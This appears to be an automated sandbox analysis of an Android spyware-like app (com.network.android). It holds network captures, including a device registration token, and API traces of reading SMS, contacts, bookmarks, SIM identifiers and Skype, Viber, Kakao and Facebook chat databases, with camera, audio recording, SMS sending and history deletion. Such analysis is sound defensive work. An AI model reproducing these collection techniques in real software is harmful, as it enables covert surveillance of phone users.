      Jul 27, 2022 11:49:36.876776934 CEST56068853192.168.2.308.8.4.4
      Jul 27, 2022 11:49:36.876882076 CEST56068853192.168.2.308.8.4.4
      Jul 27, 2022 11:49:36.901643991 CEST56068853192.168.2.308.8.4.4
      Jul 27, 2022 11:49:36.920814991 CEST853560688.8.4.4192.168.2.30
      Jul 27, 2022 11:49:36.921015978 CEST56068853192.168.2.308.8.4.4
      Jul 27, 2022 11:49:36.944920063 CEST853560688.8.4.4192.168.2.30
      Jul 27, 2022 11:49:36.949197054 CEST853560688.8.4.4192.168.2.30
      Jul 27, 2022 11:49:36.951103926 CEST530225228192.168.2.3074.125.206.188
      Jul 27, 2022 11:49:36.984827995 CEST52285302274.125.206.188192.168.2.30
      Jul 27, 2022 11:49:36.985044003 CEST530225228192.168.2.3074.125.206.188
      Jul 27, 2022 11:49:36.987591982 CEST530225228192.168.2.3074.125.206.188
      Jul 27, 2022 11:49:36.990134954 CEST56068853192.168.2.308.8.4.4
      Jul 27, 2022 11:49:37.021301985 CEST52285302274.125.206.188192.168.2.30
      Jul 27, 2022 11:49:37.021661043 CEST52285302274.125.206.188192.168.2.30
      Jul 27, 2022 11:49:37.021689892 CEST52285302274.125.206.188192.168.2.30
      Jul 27, 2022 11:49:37.021714926 CEST52285302274.125.206.188192.168.2.30
      Jul 27, 2022 11:49:37.021739006 CEST52285302274.125.206.188192.168.2.30
      Jul 27, 2022 11:49:37.021764040 CEST52285302274.125.206.188192.168.2.30
      Jul 27, 2022 11:49:37.021766901 CEST530225228192.168.2.3074.125.206.188
      Jul 27, 2022 11:49:37.021780014 CEST52285302274.125.206.188192.168.2.30
      Jul 27, 2022 11:49:37.022471905 CEST530225228192.168.2.3074.125.206.188
      Jul 27, 2022 11:49:37.022494078 CEST530225228192.168.2.3074.125.206.188
      Jul 27, 2022 11:49:37.022505045 CEST530225228192.168.2.3074.125.206.188
      Jul 27, 2022 11:49:37.038203955 CEST530225228192.168.2.3074.125.206.188
      Jul 27, 2022 11:49:37.076503038 CEST52285302274.125.206.188192.168.2.30
      Jul 27, 2022 11:49:37.096693993 CEST530225228192.168.2.3074.125.206.188
      Jul 27, 2022 11:49:37.130410910 CEST52285302274.125.206.188192.168.2.30
      Jul 27, 2022 11:49:37.137721062 CEST52285302274.125.206.188192.168.2.30
      Jul 27, 2022 11:49:37.142915964 CEST52285302274.125.206.188192.168.2.30
      Jul 27, 2022 11:49:37.142946005 CEST52285302274.125.206.188192.168.2.30
      Jul 27, 2022 11:49:37.178189993 CEST530225228192.168.2.3074.125.206.188
      Jul 27, 2022 11:49:37.329452991 CEST56068853192.168.2.308.8.4.4
      Jul 27, 2022 11:49:37.353921890 CEST853560688.8.4.4192.168.2.30
      Jul 27, 2022 11:49:37.369868040 CEST853560688.8.4.4192.168.2.30
      Jul 27, 2022 11:49:37.370023012 CEST56068853192.168.2.308.8.4.4
      Jul 27, 2022 11:49:37.371663094 CEST55078443192.168.2.30142.250.186.110
      Jul 27, 2022 11:49:37.371697903 CEST44355078142.250.186.110192.168.2.30
      Jul 27, 2022 11:49:37.371795893 CEST55078443192.168.2.30142.250.186.110
      Jul 27, 2022 11:49:37.378017902 CEST55078443192.168.2.30142.250.186.110
      Jul 27, 2022 11:49:37.378046989 CEST44355078142.250.186.110192.168.2.30
      Jul 27, 2022 11:49:37.432706118 CEST44355078142.250.186.110192.168.2.30
      Jul 27, 2022 11:49:37.432904959 CEST55078443192.168.2.30142.250.186.110
      Jul 27, 2022 11:49:37.434485912 CEST55078443192.168.2.30142.250.186.110
      Jul 27, 2022 11:49:37.434501886 CEST44355078142.250.186.110192.168.2.30
      Jul 27, 2022 11:49:37.434999943 CEST44355078142.250.186.110192.168.2.30
      Jul 27, 2022 11:49:37.436395884 CEST44355078142.250.186.110192.168.2.30
      Jul 27, 2022 11:49:37.437208891 CEST55078443192.168.2.30142.250.186.110
      Jul 27, 2022 11:49:37.437225103 CEST44355078142.250.186.110192.168.2.30
      Jul 27, 2022 11:49:37.458638906 CEST55078443192.168.2.30142.250.186.110
      Jul 27, 2022 11:49:37.458834887 CEST44355078142.250.186.110192.168.2.30
      Jul 27, 2022 11:49:37.493580103 CEST55078443192.168.2.30142.250.186.110
      Jul 27, 2022 11:49:37.493602037 CEST44355078142.250.186.110192.168.2.30
      Jul 27, 2022 11:49:37.534252882 CEST55078443192.168.2.30142.250.186.110
      Jul 27, 2022 11:49:37.679315090 CEST44355078142.250.186.110192.168.2.30
      Jul 27, 2022 11:49:37.679445028 CEST44355078142.250.186.110192.168.2.30
      Jul 27, 2022 11:49:37.680818081 CEST55078443192.168.2.30142.250.186.110
      Jul 27, 2022 11:49:37.683759928 CEST55078443192.168.2.30142.250.186.110
      Jul 27, 2022 11:49:37.683808088 CEST44355078142.250.186.110192.168.2.30
      Jul 27, 2022 11:49:37.683823109 CEST55078443192.168.2.30142.250.186.110
      Jul 27, 2022 11:49:50.205337048 CEST50458443192.168.2.30216.58.212.170
      Jul 27, 2022 11:49:51.742403984 CEST39602443192.168.2.30142.250.186.163
      Jul 27, 2022 11:49:52.373589039 CEST56068853192.168.2.308.8.4.4
      Jul 27, 2022 11:49:52.394239902 CEST853560688.8.4.4192.168.2.30
      Jul 27, 2022 11:49:57.400701046 CEST56068853192.168.2.308.8.4.4
      Jul 27, 2022 11:49:57.400743008 CEST56068853192.168.2.308.8.4.4
      Jul 27, 2022 11:49:57.419903994 CEST853560688.8.4.4192.168.2.30
      Jul 27, 2022 11:49:57.419991970 CEST56068853192.168.2.308.8.4.4
      Jul 27, 2022 11:50:21.440078020 CEST50458443192.168.2.30216.58.212.170
      Jul 27, 2022 11:50:24.003042936 CEST39602443192.168.2.30142.250.186.163
      TimestampSource PortDest PortSource IPDest IP
      Jul 27, 2022 11:52:03.466010094 CEST6867192.168.2.30192.168.2.1
      Jul 27, 2022 11:52:03.466820955 CEST6768192.168.2.1192.168.2.30
      • android.clients.google.com
      Session IDSource IPSource PortDestination IPDestination Port
      0192.168.2.3055078142.250.186.110443
      TimestampkBytes transferredDirectionData
      2022-07-27 09:49:37 UTC0OUTPOST /c2dm/register3 HTTP/1.1
      Authorization: AidLogin 3976102378291501644:1184905049225720946
      app: com.google.android.gms
      gcm_ver: 210214031
      User-Agent: Android-GCM/1.5 (x86 PI)
      content-length: 477
      content-type: application/x-www-form-urlencoded
      Host: android.clients.google.com
      Connection: Keep-Alive
      Accept-Encoding: gzip
      2022-07-27 09:49:37 UTC0OUTData Raw: 58 2d 73 75 62 74 79 70 65 3d 37 34 35 34 37 36 31 37 37 36 32 39 26 58 2d 58 2d 73 75 62 73 63 72 69 70 74 69 6f 6e 3d 37 34 35 34 37 36 31 37 37 36 32 39 26 73 65 6e 64 65 72 3d 37 34 35 34 37 36 31 37 37 36 32 39 26 58 2d 58 2d 73 75 62 74 79 70 65 3d 37 34 35 34 37 36 31 37 37 36 32 39 26 58 2d 61 70 70 5f 76 65 72 3d 32 31 30 32 31 34 30 33 31 26 58 2d 6f 73 76 3d 32 38 26 58 2d 63 6c 69 76 3d 69 69 64 2d 32 31 30 32 31 34 30 30 30 26 58 2d 67 6d 73 76 3d 32 31 30 32 31 34 30 33 31 26 58 2d 61 70 70 69 64 3d 66 53 57 4a 69 50 55 4d 56 37 30 26 58 2d 73 63 6f 70 65 3d 44 49 52 45 43 54 42 4f 4f 54 26 58 2d 73 75 62 73 63 72 69 70 74 69 6f 6e 3d 37 34 35 34 37 36 31 37 37 36 32 39 26 58 2d 61 70 70 5f 76 65 72 5f 6e 61 6d 65 3d 32 31 2e 30 32 2e 31 34
      Data Ascii: X-subtype=745476177629&X-X-subscription=745476177629&sender=745476177629&X-X-subtype=745476177629&X-app_ver=210214031&X-osv=28&X-cliv=iid-210214000&X-gmsv=210214031&X-appid=fSWJiPUMV70&X-scope=DIRECTBOOT&X-subscription=745476177629&X-app_ver_name=21.02.14
      2022-07-27 09:49:37 UTC0INHTTP/1.1 200 OK
      Content-Type: text/plain; charset=UTF-8
      Date: Wed, 27 Jul 2022 09:49:37 GMT
      Expires: Wed, 27 Jul 2022 09:49:37 GMT
      Cache-Control: private, max-age=0
      X-Content-Type-Options: nosniff
      X-Frame-Options: SAMEORIGIN
      Content-Security-Policy: frame-ancestors 'self'
      X-XSS-Protection: 1; mode=block
      Server: GSE
      Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
      Accept-Ranges: none
      Vary: Accept-Encoding
      Connection: close
      Transfer-Encoding: chunked
      2022-07-27 09:49:37 UTC1INData Raw: 39 65 0d 0a 74 6f 6b 65 6e 3d 66 53 57 4a 69 50 55 4d 56 37 30 3a 41 50 41 39 31 62 46 4b 53 2d 44 68 6f 4f 48 4b 54 47 72 78 32 6b 30 44 70 46 30 43 51 73 53 74 74 6e 58 58 5f 42 30 4a 4b 48 72 75 4d 4e 4b 42 6f 57 5a 4b 4d 68 37 59 32 79 32 7a 72 61 43 53 77 49 59 67 43 53 42 57 7a 50 76 62 47 6d 52 61 78 50 78 67 5a 4f 36 4b 4f 4b 36 71 54 69 38 35 50 4f 45 69 72 35 70 47 54 74 35 50 62 56 49 34 32 72 59 76 6d 6c 57 50 78 44 79 35 53 6e 6b 75 71 4d 4c 2d 54 71 6d 46 58 6b 7a 67 0d 0a
      Data Ascii: 9etoken=fSWJiPUMV70:APA91bFKS-DhoOHKTGrx2k0DpF0CQsSttnXX_B0JKHruMNKBoWZKMh7Y2y2zraCSwIYgCSBWzPvbGmRaxPxgZO6KOK6qTi85POEir5pGTt5PbVI42rYvmlWPxDy5SnkuqML-TqmFXkzg
      2022-07-27 09:49:37 UTC1INData Raw: 30 0d 0a 0d 0a
      Data Ascii: 0


      APK Behavior

      TypeData
      boot completed
      • -
      time tick
      • -
      incoming sms
      • 0123456789
      • this is a text message
      outgoing sms
      • 9876543210
      • thank you
      location change
      • 54.13
      • 12.14
      motion simulation
      • -
      incoming call
      • 0123456789
      outgoing call
      • 9876543210
      time tick
      • -
      API: android.net.ConnectivityManager->getActiveNetworkInfo at com.network.android.j.e:8 Show source
      NameTypeValue
      Return Valueandroid.net.NetworkInfo
      • toString: [type: WIFI[], state: CONNECTED/CONNECTED, reason: (unspecified), extra: (none), failover: false, available: true, roaming: false]
      API: android.content.pm.PackageManager->setComponentEnabledSetting at com.network.media.CoreReceiver.a:35 Show source
      NameTypeValue
      p0java.lang.Integer
      • toString: 1
      p1java.lang.Integer
      • toString: 1
      NameTypeValue
      Return Valueandroid.content.ComponentName
      • toString: ComponentInfo{com.network.android/com.network.media.CoreReceiver}
      API: android.content.ContentResolver->query at com.network.android.monitor.observer.n.a:45 Show source
      NameTypeValue
      p0android.net.Uri$StringUri
      • toString: content://sms
      p1null
      • toString: null
      p2null
      • toString: null
      p3null
      • toString: null
      p4java.lang.String
      • toString: _id ASC
      NameTypeValue
      Return Valueandroid.content.ContentResolver$CursorWrapperInner
      • toString: android.content.ContentResolver$CursorWrapperInner@2494fc3
      API: android.content.ContentResolver->query at com.network.h.b.i:16 Show source
      NameTypeValue
      p0android.net.Uri$StringUri
      • toString: content://browser/bookmarks
      p1null
      • toString: null
      p2null
      • toString: null
      p3null
      • toString: null
      p4null
      • toString: null
      NameTypeValue
      Return Valueandroid.content.ContentResolver$CursorWrapperInner
      • toString: android.content.ContentResolver$CursorWrapperInner@820d2e4
      API: android.content.ContentResolver->query at com.network.h.b.f:34 Show source
      NameTypeValue
      p0android.net.Uri$StringUri
      • toString: content://browser/bookmarks
      p1null
      • toString: null
      p2null
      • toString: null
      p3null
      • toString: null
      p4null
      • toString: null
      NameTypeValue
      Return Valueandroid.content.ContentResolver$CursorWrapperInner
      • toString: android.content.ContentResolver$CursorWrapperInner@fc61137
      API: android.content.ContentResolver->query at com.network.android.monitor.observer.j.run:13 Show source
      NameTypeValue
      p0android.net.Uri$HierarchicalUri
      • toString: content://com.android.contacts/contacts
      p1null
      • toString: null
      p2null
      • toString: null
      p3null
      • toString: null
      p4null
      • toString: null
      NameTypeValue
      Return Valueandroid.content.ContentResolver$CursorWrapperInner
      • toString: android.content.ContentResolver$CursorWrapperInner@df361e7
      API: android.content.ContentResolver->query at com.network.h.b.a:82 Show source
      NameTypeValue
      p0android.net.Uri$StringUri
      • toString: content://browser/bookmarks
      p1[Ljava.lang.String;
      • toString: [Ljava.lang.String;@b20486d
      • Arrays.toString: [_id, url, visits, date, bookmark, title, favicon, thumbnail, touch_icon, user_entered]
      p2null
      • toString: null
      p3null
      • toString: null
      p4null
      • toString: null
      NameTypeValue
      Return Valueandroid.content.ContentResolver$CursorWrapperInner
      • toString: android.content.ContentResolver$CursorWrapperInner@41e3ca2
      API: android.telephony.TelephonyManager->getSimSerialNumber at com.network.android.agent.NetworkApp.c:15 Show source
      NameTypeValue
      Return Valuejava.lang.String
      • toString: 98159064545930082411
      API: android.telephony.TelephonyManager->getSubscriberId at com.network.android.a.e.run:94 Show source
      NameTypeValue
      Return Valuejava.lang.String
      • toString: 985915257341634
      API: android.location.LocationManager->requestLocationUpdates at ..:57 Show source
      API: android.location.LocationManager->isProviderEnabled at ..:39 Show source
      API: android.telephony.TelephonyManager->getCellLocation at ..:11 Show source
      API: android.telephony.TelephonyManager->getCellLocation at com.network.android.a.c.a:201 Show source
      API: android.telephony.TelephonyManager->getCellLocation at ..:14 Show source
      API: android.telephony.TelephonyManager->getCellLocation at ..:319 Show source
      API: android.net.ConnectivityManager->getAllNetworkInfo at ..:93 Show source
      API: android.net.ConnectivityManager->getActiveNetworkInfo at ..:109 Show source
      API: android.net.ConnectivityManager->getActiveNetworkInfo at ..:33 Show source
      API: android.net.ConnectivityManager->getAllNetworkInfo at ..:30 Show source
      API: android.net.ConnectivityManager->getActiveNetworkInfo at ..:191 Show source
      API: android.hardware.Camera->open at ..:102 Show source
      API: android.hardware.Camera->open at ..:34 Show source
      API: android.content.pm.PackageManager->setComponentEnabledSetting at ..:40 Show source
      API: android.content.pm.PackageManager->setComponentEnabledSetting at ..:30 Show source
      API: android.content.pm.PackageManager->setComponentEnabledSetting at ..:25 Show source
      API: android.content.pm.PackageManager->setComponentEnabledSetting at com.network.android.a.b.a:225 Show source
      API: android.content.pm.PackageManager->setApplicationEnabledSetting at ..:12 Show source
      API: java.net.URL->openConnection at com.network.android.g.a:16 Show source
      API: java.net.URL->openConnection at ..:67 Show source
      API: android.media.AudioManager->setMode at ..:30 Show source
      API: android.media.AudioManager->setMode at ..:26 Show source
      API: android.media.AudioManager->isWiredHeadsetOn at ..:235 Show source
      API: android.content.ContentResolver->query at com.network.android.monitor.observer.n.a:30 Show source
      API: android.content.ContentResolver->query at ..:15 Show source
      API: android.content.ContentResolver->query at ..:9 Show source
      API: android.content.ContentResolver->query at ..:42 Show source
      API: android.content.ContentResolver->query at ..:36 Show source
      API: android.content.ContentResolver->query at com.network.android.m.b:62 Show source
      API: android.content.ContentResolver->query at ..:23 Show source
      API: android.content.ContentResolver->query at ..:17 Show source
      API: android.content.ContentResolver->query at ..:15 Show source
      API: android.content.ContentResolver->query at ..:34 Show source
      API: android.content.ContentResolver->query at com.network.android.m.a:78 Show source
      API: android.content.ContentResolver->query at ..:12 Show source
      API: android.content.ContentResolver->query at ..:36 Show source
      API: java.lang.Runtime->exec at com.network.android.m.c:55 Show source
      API: java.lang.Runtime->exec at ..:128 Show source
      API: java.lang.Runtime->exec at ..:69 Show source
      API: java.lang.Runtime->exec at com.network.android.m.a:27 Show source
      API: android.telephony.TelephonyManager->getSubscriberId at ..:42 Show source
      API: android.telephony.TelephonyManager->getSimSerialNumber at ..:24 Show source
      API: android.telephony.TelephonyManager->getSubscriberId at com.network.android.a.e.run:165 Show source
      API: android.telephony.TelephonyManager->getSubscriberId at ..:19 Show source
      API: android.telephony.TelephonyManager->getDeviceId at com.network.android.a.c.a:251 Show source
      API: android.telephony.TelephonyManager->getSubscriberId at ..:11 Show source
      API: android.telephony.TelephonyManager->getDeviceId at ..:258 Show source
      API: android.telephony.TelephonyManager->getSubscriberId at ..:19 Show source
      API: android.telephony.TelephonyManager->getSubscriberId at com.network.android.a.j.run:25 Show source
      API: android.telephony.TelephonyManager->listen at ..:56 Show source
      API: android.media.MediaRecorder->setAudioSource at ..:49 Show source
      API: android.media.MediaRecorder->setAudioSource at ..:35 Show source
      API: android.telephony.SmsManager->sendTextMessage at com.network.android.a.c.a:433 Show source
      API: android.app.NotificationManager->notify at ..:97 Show source
      API: android.os.PowerManager$WakeLock->acquire at ..:27 Show source
      API: android.os.PowerManager$WakeLock->release at ..:3 Show source
      API: android.media.MediaPlayer->start at ..:72 Show source
      API: android.provider.Settings$Secure->putString at ..:41 Show source
      API: android.provider.Settings$System->putInt at com.network.android.agent.NetworkApp.d:19 Show source
      API: android.provider.Settings$System->putInt at ..:30 Show source
      API: android.provider.Settings$Secure->putString at ..:41 Show source
      API: android.provider.Settings$System->putInt at ..:54 Show source
      API: android.provider.Settings$System->putInt at ..:84 Show source
      API: android.provider.Settings$System->putInt at ..:21 Show source
      API: android.provider.Settings$System->putInt at ..:23 Show source
      API: android.provider.Settings$System->putInt at com.network.android.roomTap.BlackScreen.a:50 Show source
      API: android.provider.Settings$System->putInt at ..:25 Show source
      API: android.provider.Settings$System->putInt at ..:57 Show source
      API: android.provider.Settings$System->putInt at ..:49 Show source
      API: android.provider.Browser->deleteFromHistory at ..:4 Show source
      API: android.provider.Browser->deleteFromHistory at ..:4 Show source

      93 Executed Methods

      APIs
      • java.io.File.<init>
      • java.io.File.exists
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.io.File.<init>
      • java.io.File.exists
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.util.concurrent.locks.ReentrantReadWriteLock.<init>
      • java.util.concurrent.locks.ReentrantReadWriteLock.readLock
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.util.concurrent.locks.Lock.lock
      • java.io.File.<init>
      • java.io.File.exists
      • android.database.sqlite.SQLiteDatabase.openDatabase
      • java.lang.String.equals
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.sqlite.SQLiteDatabase.rawQuery
      • java.lang.String.equals
      • java.lang.String.format
      • android.database.sqlite.SQLiteDatabase.rawQuery
      • android.database.Cursor.moveToNext
      • android.database.Cursor.getString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.Cursor.close
      • android.database.sqlite.SQLiteDatabase.isOpen
      • android.database.sqlite.SQLiteDatabase.close
      • java.util.concurrent.locks.Lock.unlock
      • android.database.Cursor.close
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.sqlite.SQLiteDatabase.openDatabase
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.sqlite.SQLiteDatabase.openDatabase
      • java.lang.String.equals
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.content.Context.getSharedPreferences
      • android.content.SharedPreferences.getString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.Long.parseLong
      • java.util.Date.<init>
      • java.util.Date.toString
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.sqlite.SQLiteDatabase.rawQuery
      • android.database.Cursor.moveToFirst
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.Long.parseLong
      • java.util.Date.<init>
      • java.util.Date.toString
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.content.SharedPreferences.edit
      • android.content.SharedPreferences$Editor.putString
      • android.content.SharedPreferences$Editor.commit
      • android.database.sqlite.SQLiteDatabase.isOpen
      • android.database.sqlite.SQLiteDatabase.close
      • java.util.concurrent.locks.Lock.unlock
      • android.database.Cursor.close
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.Long.parseLong
      • java.util.Date.<init>
      • java.util.Date.toString
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.String.equals
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.sqlite.SQLiteDatabase.rawQuery
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.Cursor.close
      • android.database.sqlite.SQLiteDatabase.isOpen
      • android.database.sqlite.SQLiteDatabase.close
      • java.util.concurrent.locks.Lock.unlock
      • android.database.Cursor.close
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.String.equals
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.Cursor.close
      • android.database.sqlite.SQLiteDatabase.isOpen
      • android.database.sqlite.SQLiteDatabase.close
      • java.util.concurrent.locks.Lock.unlock
      • android.database.Cursor.close
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.Cursor.close
      • android.database.sqlite.SQLiteDatabase.isOpen
      • android.database.sqlite.SQLiteDatabase.close
      • java.util.concurrent.locks.Lock.unlock
      • android.database.Cursor.close
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      Strings
      • GetContentIM getImApp run
      • /system/csk
      • GetContentIM getIM MY_SU does not exists. returning
      • facebookGetContentIM getIM MY_SU does not exists. returning
      • kakaoGetContentIM getIM MY_SU does not exists. returning
      • viberGetContentIM getIM MY_SU does not exists. returning
      • GetContentIM getIM appPath:
      • GetContentIM getIM dbPath:
      • GetContentIM getIM selectQuery:
      • GetContentIM getIM indexColumn:
      • GetContentIM getIM sortIdColumn:
      • GetContentIM getIM DB not exists -> exit!:
      • -
      • GetContentIM getIM dump isDump:
      • GetContentIM getIM lock
      • GetContentIM getImApp lock
      • GetContentIM getImApp locked
      • kakao
      • WHERE chat_logs.type = 1 ORDER BY
      • GetContentIM getIM DUMP selectQuery:
      • skype
      • SELECT fullname FROM accounts WHERE skypename = \'%s\' LIMIT 1
      • GetContentIM Skype self name:
      • GetContentIM getIM finally-
      • GetContentIM openDatabase NO_LOCALIZED_COLLATORS Throwable-
      • GetContentIM getIM fail to openDatabase:
      • , try to open with OPEN_READONLY
      • GetContentIM cant openDatabase SQLiteDatabase.NO_LOCALIZED_COLLATORS | SQLiteDatabase.OPEN_READONLY Throwable-
      • , try to open with CONFLICT_IGNORE
      • WHERE chatmsg_type = 3 ORDER BY
      • ORDER BY
      • NetworkMessages
      • GetContentIM getIM DB MONITOR index:
      • , by date:
      • DESC LIMIT 1
      • GetContentIM getIM MONITOR SELACT FIRST INDEX selectFirstIndexQuery:
      • GetContentIM getIM MONITOR SELECT FIRST INDEX NEW index:
      • GetContentIM getIM MONITOR SELACT FIRST INDEX NEW index
      • GetContentIM getIM get first index Throwable-
      • LOG_ERR_IM
      • GetContentIM getIM MONITOR fatched index:
      • WHERE
      • > \'
      • \'
      • AND chat_logs.type = 1
      • GetContentIM getIM MONITOR selectQuery:
      • GetContentIM getIM Provider == null return
      • AND chatmsg_type = 3
      • GetContentIM failed to find Skype-self-name
      • SELF
      • GetContentIM getIM messages DB does not exist:
      • GetContentIM getIM Throwable-
      Position Instruction Meta Information
      0const/4 v2, 0x0
      2const-string v0, "GetContentIM getImApp run"
      4invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1068644
        • p0: GetContentIM getImApp run
      5new-instance v0, Ljava/io/File;
      7const-string v1, "/system/csk"
      9invoke-direct {v0, v1}, Ljava/io/File;-><init>(Ljava/lang/String;)V
      • Time: 1068663
        • This:
          • /system/csk
        • p0: /system/csk
        • Return:
          • /system/csk
      11invoke-virtual {v0}, Ljava/io/File;->exists()Z
      • Time: 1068668
        • This:
          • /system/csk
        • Return:
          • false
      12move-result v0
      13if-nez v0, :cond_2c
      14new-instance v0, Ljava/lang/StringBuilder;
